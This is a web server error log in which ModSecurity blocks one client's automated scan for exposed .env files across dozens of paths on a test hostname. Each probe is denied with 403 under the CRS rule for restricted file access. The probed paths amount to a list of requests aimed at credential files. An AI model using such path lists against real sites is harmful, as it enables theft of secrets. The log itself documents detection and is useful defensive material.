[Wed Feb 25 06:05:08.588725 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error.log&quot;] [unique_id &quot;aZ6DBGXxsr5IXP-ltRia8gAAAAA&quot;]
[Wed Feb 25 06:05:08.598511 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fm/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fm/.env&quot;] [unique_id &quot;aZ6DBIv6AM5Bs3q_JQDYfAAAAAc&quot;]
[Wed Feb 25 06:05:08.598786 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fm/.env&quot;] [unique_id &quot;aZ6DBIv6AM5Bs3q_JQDYfAAAAAc&quot;]
[Wed Feb 25 06:05:08.598984 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fm/.env&quot;] [unique_id &quot;aZ6DBIv6AM5Bs3q_JQDYfAAAAAc&quot;]
[Wed Feb 25 06:05:08.665528 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /error/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error/.env&quot;] [unique_id &quot;aZ6DBGXxsr5IXP-ltRia8wAAAAA&quot;]
[Wed Feb 25 06:05:08.665813 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error/.env&quot;] [unique_id &quot;aZ6DBGXxsr5IXP-ltRia8wAAAAA&quot;]
[Wed Feb 25 06:05:08.665996 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error/.env&quot;] [unique_id &quot;aZ6DBGXxsr5IXP-ltRia8wAAAAA&quot;]
[Wed Feb 25 06:05:08.719803 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /font-icons/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/font-icons/.env&quot;] [unique_id &quot;aZ6DBIv6AM5Bs3q_JQDYfQAAAAc&quot;]
[Wed Feb 25 06:05:08.720115 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/font-icons/.env&quot;] [unique_id &quot;aZ6DBIv6AM5Bs3q_JQDYfQAAAAc&quot;]
[Wed Feb 25 06:05:08.720337 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/font-icons/.env&quot;] [unique_id &quot;aZ6DBIv6AM5Bs3q_JQDYfQAAAAc&quot;]
[Wed Feb 25 06:05:08.765576 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /errors/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/errors/.env&quot;] [unique_id &quot;aZ6DBGXxsr5IXP-ltRia9AAAAAA&quot;]
[Wed Feb 25 06:05:08.765875 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/errors/.env&quot;] [unique_id &quot;aZ6DBGXxsr5IXP-ltRia9AAAAAA&quot;]
[Wed Feb 25 06:05:08.766057 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/errors/.env&quot;] [unique_id &quot;aZ6DBGXxsr5IXP-ltRia9AAAAAA&quot;]
[Wed Feb 25 06:05:08.797256 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fonts/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fonts/.env&quot;] [unique_id &quot;aZ6DBIv6AM5Bs3q_JQDYfgAAAAc&quot;]
[Wed Feb 25 06:05:08.797543 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fonts/.env&quot;] [unique_id &quot;aZ6DBIv6AM5Bs3q_JQDYfgAAAAc&quot;]
[Wed Feb 25 06:05:08.797754 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fonts/.env&quot;] [unique_id &quot;aZ6DBIv6AM5Bs3q_JQDYfgAAAAc&quot;]
[Wed Feb 25 06:05:08.851573 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /example/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example/.env&quot;] [unique_id &quot;aZ6DBGXxsr5IXP-ltRia9QAAAAA&quot;]
[Wed Feb 25 06:05:08.851849 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example/.env&quot;] [unique_id &quot;aZ6DBGXxsr5IXP-ltRia9QAAAAA&quot;]
[Wed Feb 25 06:05:08.852029 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example/.env&quot;] [unique_id &quot;aZ6DBGXxsr5IXP-ltRia9QAAAAA&quot;]
[Wed Feb 25 06:05:08.909459 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /example02-golang-package/import-underscore/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example02-golang-package/import-underscore/.env&quot;] [unique_id &quot;aZ6DBGXxsr5IXP-ltRia9gAAAAA&quot;]
[Wed Feb 25 06:05:08.909753 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example02-golang-package/import-underscore/.env&quot;] [unique_id &quot;aZ6DBGXxsr5IXP-ltRia9gAAAAA&quot;]
[Wed Feb 25 06:05:08.909940 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example02-golang-package/import-underscore/.env&quot;] [unique_id &quot;aZ6DBGXxsr5IXP-ltRia9gAAAAA&quot;]
[Wed Feb 25 06:05:08.940215 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /framework/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/framework/.env&quot;] [unique_id &quot;aZ6DBIv6AM5Bs3q_JQDYfwAAAAc&quot;]
[Wed Feb 25 06:05:08.940747 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/framework/.env&quot;] [unique_id &quot;aZ6DBIv6AM5Bs3q_JQDYfwAAAAc&quot;]
[Wed Feb 25 06:05:08.940944 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/framework/.env&quot;] [unique_id &quot;aZ6DBIv6AM5Bs3q_JQDYfwAAAAc&quot;]
[Wed Feb 25 06:05:08.969083 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /front-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-app/.env&quot;] [unique_id &quot;aZ6DBIv6AM5Bs3q_JQDYgAAAAAc&quot;]
[Wed Feb 25 06:05:08.969370 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-app/.env&quot;] [unique_id &quot;aZ6DBIv6AM5Bs3q_JQDYgAAAAAc&quot;]
[Wed Feb 25 06:05:08.969576 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-app/.env&quot;] [unique_id &quot;aZ6DBIv6AM5Bs3q_JQDYgAAAAAc&quot;]
[Wed Feb 25 06:05:08.994629 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /example27-how-to-load-env/sample01/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example27-how-to-load-env/sample01/.env&quot;] [unique_id &quot;aZ6DBGXxsr5IXP-ltRia9wAAAAA&quot;]
[Wed Feb 25 06:05:08.994912 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example27-how-to-load-env/sample01/.env&quot;] [unique_id &quot;aZ6DBGXxsr5IXP-ltRia9wAAAAA&quot;]
[Wed Feb 25 06:05:08.995105 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example27-how-to-load-env/sample01/.env&quot;] [unique_id &quot;aZ6DBGXxsr5IXP-ltRia9wAAAAA&quot;]
[Wed Feb 25 06:05:09.019376 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /example27-how-to-load-env/sample02/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example27-how-to-load-env/sample02/.env&quot;] [unique_id &quot;aZ6DBWXxsr5IXP-ltRia-AAAAAA&quot;]
[Wed Feb 25 06:05:09.019669 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example27-how-to-load-env/sample02/.env&quot;] [unique_id &quot;aZ6DBWXxsr5IXP-ltRia-AAAAAA&quot;]
